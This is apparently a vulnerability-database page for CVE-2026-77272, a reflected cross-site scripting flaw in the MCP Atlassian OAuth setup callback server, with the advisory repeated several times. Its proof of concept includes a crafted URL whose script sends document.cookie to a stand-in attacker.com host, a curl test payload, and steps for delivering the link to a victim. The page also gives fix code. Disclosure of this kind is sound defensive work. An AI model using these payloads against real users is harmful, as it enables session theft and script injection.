\n```\n\n**Step 2 -- Deliver the link to the victim:**\n\nSend the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.\n\n**Step 3 -- Verify with a simpler payload:**\n\n```bash\n# Start the setup wizard (victim's machine)\n# uv run mcp-atlassian --oauth-setup\n\n# From attacker's machine (or same network):\ncurl \"http://:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E\"\n```\n\nThe response HTML will contain:\n```html\n

Authorization failed:

\n```\n\n## Impact\n\n- **JavaScript execution** in the victim's browser context during the OAuth setup flow.\n- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:\n 1. The server binds to all interfaces, making it accessible from the local network.\n 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).\n 3. During this window, any crafted request triggers the XSS.\n- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint.\n\n## Recommended Fix\n\n**1. HTML-escape the message before injecting into the template:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py\nimport html\n\ndef _send_response(self, message: str, status: int = 200) -> None:\n \"\"\"Send response to the browser.\"\"\"\n self.send_response(status)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"X-Content-Type-Options\", \"nosniff\")\n self.send_header(\"Content-Security-Policy\", \"default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'\")\n self.end_headers()\n\n # Escape user-controlled content before HTML injection\n safe_message = html.escape(message)\n\n html_content = f\"\"\"\n ...\n
\n

{safe_message}

\n
\n ...\n \"\"\"\n```\n\n**2. Bind the callback server to localhost only:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\n# Change from:\nhttpd = socketserver.TCPServer((\"\", port), handler)\n# To:\nhttpd = socketserver.TCPServer((\"127.0.0.1\", port), handler)\n```"}},{"@type":"Question","name":"Is CVE-2026-77272 actively exploited?","acceptedAnswer":{"@type":"Answer","text":"No confirmed active exploitation of CVE-2026-77272 has been reported, but organizations should still patch proactively."}},{"@type":"Question","name":"How to fix CVE-2026-77272?","acceptedAnswer":{"@type":"Answer","text":"Update to patched version: MCP Atlassian 0.22.0."}},{"@type":"Question","name":"What is the CVSS score for CVE-2026-77272?","acceptedAnswer":{"@type":"Answer","text":"CVE-2026-77272 has a CVSS v3.1 base score of 5.4 (MEDIUM)."}}]}]}

CVE-2026-77272

GHSA-g2r2-3j32-j27x MEDIUM
Published September 22, 2026

## Summary The OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
MCP Atlassian pip < 0.22.0 0.22.0
1 dependents 85% patched ~3d to patch Full package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1
5.4 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI Required
S Unchanged
C Low
I Low
A None

What should I do?

Patch available

Update MCP Atlassian to version 0.22.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-77272?

## Summary The OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost. ## Details The vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`. **Step 1 -- Attacker-controlled input enters unsanitized:** At line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping: ```python # src/mcp_atlassian/utils/oauth_setup.py:63-66 if "error" in params: callback_error = params["error"][0] callback_received = True self._send_response(f"Authorization failed: {callback_error}") ``` **Step 2 -- Unsanitized input is injected into HTML:** At line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation: ```python # src/mcp_atlassian/utils/oauth_setup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div> ``` **Step 3 -- Server listens on all interfaces:** At line 167, the callback server binds to all network interfaces, not just localhost: ```python # src/mcp_atlassian/utils/oauth_setup.py:167 httpd = socketserver.TCPServer(("", port), handler) ``` This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine. **Step 4 -- No security headers:** The response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers: ```python # src/mcp_atlassian/utils/oauth_setup.py:84-86 self.send_response(status) self.send_header("Content-type", "text/html") self.end_headers() ``` ## PoC **Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server. **Step 1 -- Craft the malicious URL:** ``` http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> ``` **Step 2 -- Deliver the link to the victim:** Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context. **Step 3 -- Verify with a simpler payload:** ```bash # Start the setup wizard (victim's machine) # uv run mcp-atlassian --oauth-setup # From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E" ``` The response HTML will contain: ```html <p>Authorization failed: <script>alert(document.domain)</script></p> ``` ## Impact - **JavaScript execution** in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint. ## Recommended Fix **1. HTML-escape the message before injecting into the template:** ```python # src/mcp_atlassian/utils/oauth_setup.py import html def _send_response(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("X-Content-Type-Options", "nosniff") self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.end_headers() # Escape user-controlled content before HTML injection safe_message = html.escape(message) html_content = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safe_message}</p> </div> ... """ ``` **2. Bind the callback server to localhost only:** ```python # src/mcp_atlassian/utils/oauth_setup.py:167 # Change from: httpd = socketserver.TCPServer(("", port), handler) # To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler) ```

Is CVE-2026-77272 actively exploited?

No confirmed active exploitation of CVE-2026-77272 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-77272?

Update to patched version: MCP Atlassian 0.22.0.

What is the CVSS score for CVE-2026-77272?

CVE-2026-77272 has a CVSS v3.1 base score of 5.4 (MEDIUM).

What are the technical details?

Original Advisory

## Summary The OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost. ## Details The vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`. **Step 1 -- Attacker-controlled input enters unsanitized:** At line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping: ```python # src/mcp_atlassian/utils/oauth_setup.py:63-66 if "error" in params: callback_error = params["error"][0] callback_received = True self._send_response(f"Authorization failed: {callback_error}") ``` **Step 2 -- Unsanitized input is injected into HTML:** At line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation: ```python # src/mcp_atlassian/utils/oauth_setup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div> ``` **Step 3 -- Server listens on all interfaces:** At line 167, the callback server binds to all network interfaces, not just localhost: ```python # src/mcp_atlassian/utils/oauth_setup.py:167 httpd = socketserver.TCPServer(("", port), handler) ``` This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine. **Step 4 -- No security headers:** The response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers: ```python # src/mcp_atlassian/utils/oauth_setup.py:84-86 self.send_response(status) self.send_header("Content-type", "text/html") self.end_headers() ``` ## PoC **Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server. **Step 1 -- Craft the malicious URL:** ``` http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> ``` **Step 2 -- Deliver the link to the victim:** Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context. **Step 3 -- Verify with a simpler payload:** ```bash # Start the setup wizard (victim's machine) # uv run mcp-atlassian --oauth-setup # From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E" ``` The response HTML will contain: ```html <p>Authorization failed: <script>alert(document.domain)</script></p> ``` ## Impact - **JavaScript execution** in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint. ## Recommended Fix **1. HTML-escape the message before injecting into the template:** ```python # src/mcp_atlassian/utils/oauth_setup.py import html def _send_response(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("X-Content-Type-Options", "nosniff") self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.end_headers() # Escape user-controlled content before HTML injection safe_message = html.escape(message) html_content = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safe_message}</p> </div> ... """ ``` **2. Bind the callback server to localhost only:** ```python # src/mcp_atlassian/utils/oauth_setup.py:167 # Change from: httpd = socketserver.TCPServer(("", port), handler) # To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler) ```

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Timeline

Published
September 22, 2026
Last Modified
September 22, 2026
First Seen
September 23, 2026

Related Vulnerabilities